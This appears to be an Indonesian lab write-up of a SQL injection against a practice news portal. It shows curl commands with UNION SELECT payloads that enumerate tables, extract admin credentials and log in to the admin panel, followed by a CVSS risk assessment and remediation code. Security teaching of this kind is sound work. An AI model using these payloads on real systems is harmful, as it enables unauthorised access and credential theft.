Portal Berita - SQL Injection to Admin Panel
Objective
Mendapatkan akses ke panel admin portal berita di
portal-vuln.vuln.cybersecurity.or.id dengan
mengeksploitasi celah SQL Injection (SQLi) pada
parameter id di URL. Target akhir adalah masuk ke
halaman admin dan membuktikan akses tidak sah.
Reconnaissance
Langkah pertama adalah mengidentifikasi parameter yang rentan terhadap SQL Injection.
1. Identifikasi Parameter
Buka halaman portal berita:
http://portal-vuln.vuln.cybersecurity.or.id
Ditemukan artikel dengan URL seperti:
http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1
2. Uji Karakter Spesial
Uji dengan tanda petik satu (') dan petik dua
("):
curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1'"
Hasil:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
Error muncul - mengindikasikan error-based SQL Injection.
curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1\""
Tidak ada error - kemungkinan database menggunakan MySQL dengan
delimiter '.
3. Uji dengan ORDER BY - Tentukan Jumlah Kolom
curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1 ORDER BY 3-- -"
Hasil: Halaman normal (3 kolom).
curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1 ORDER BY 4-- -"
Hasil: Error - artinya hanya ada 3 kolom.
Exploitation
1. Uji UNION SELECT untuk Menampilkan Data
curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,2,3-- -"
Hasil: Angka 1, 2,
3 muncul di halaman - kolom ke-1, 2, dan 3 bisa
digunakan.
2. Enumerasi Database
Dapatkan nama database saat ini:
curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,database(),3-- -"
Hasil:
portal_db
Dapatkan daftar tabel dari information_schema:
curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='portal_db'-- -"
Hasil:
berita,users,admin
3. Enumerasi Kolom Tabel Admin
curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='admin'-- -"
Hasil:
id,username,password,role
4. Ekstrak Kredensial Admin
curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM admin-- -"
Hasil:
admin:sup3rsecret_p@ss
5. Login ke Panel Admin
Akses halaman login admin:
http://portal-vuln.vuln.cybersecurity.or.id/admin/login.php
Masukkan kredensial:
- Username:
admin - Password:
sup3rsecret_p@ss
Hasil: Berhasil login ke dashboard admin.
Evidence
Output Curl - SQL Error
$ curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1'"
You have an error in your SQL syntax; check the manual...
Output Curl - UNION SELECT Ekstrak Data
$ curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM admin-- -"
1 admin:sup3rsecret_p@ss 3
Screenshot Admin Panel
[MEDIA:/home/labkom/docs/docs/writeups/evidence/portal-admin-panel.png]
Cookie / Session
Setelah login, session cookie:
PHPSESSID=abc123def456admin
️ Risk Assessment
| Faktor | Nilai |
|---|---|
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Base Score | 9.8 (Critical) |
| Attack Vector | Network (N) - bisa dieksploitasi dari jarak jauh |
| Attack Complexity | Low (L) - tidak perlu knowledge khusus |
| Privileges Required | None (N) - tanpa autentikasi |
| User Interaction | None (N) |
| Impact | High (H) pada Confidentiality, Integrity, Availability |
| OWASP Mapping | A03:2021 - Injection |
Dampak Bisnis
- Akses penuh ke panel admin portal berita
- Kemampuan memodifikasi/menghapus berita
- Potensi defacement website
- Eksfiltrasi data pengguna
- Pivot ke server internal
️ Remediation
1. Gunakan Prepared Statement (Parameterized Query)
Kode rentan (PHP):
$id = $_GET['id'];
$query = "SELECT * FROM berita WHERE id = $id";
$result = mysqli_query($conn, $query);
Kode aman (Prepared Statement):
$stmt = $conn->prepare("SELECT * FROM berita WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
2. Implementasi WAF (Web Application Firewall)
Pasang ModSecurity atau layanan WAF cloud (Cloudflare, AWS WAF) untuk memblokir payload SQL Injection.
Contoh aturan ModSecurity:
SecRule ARGS "@detectSQLi" "id:101010,phase:2,deny,status:403,msg:'SQL Injection Detected'"
3. Validasi Input
if (!is_numeric($_GET['id'])) {
die("Invalid input");
}
4. Least Privilege Database
Jangan gunakan user database root. Buat user terbatas:
CREATE USER 'portal_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON portal_db.* TO 'portal_user'@'localhost';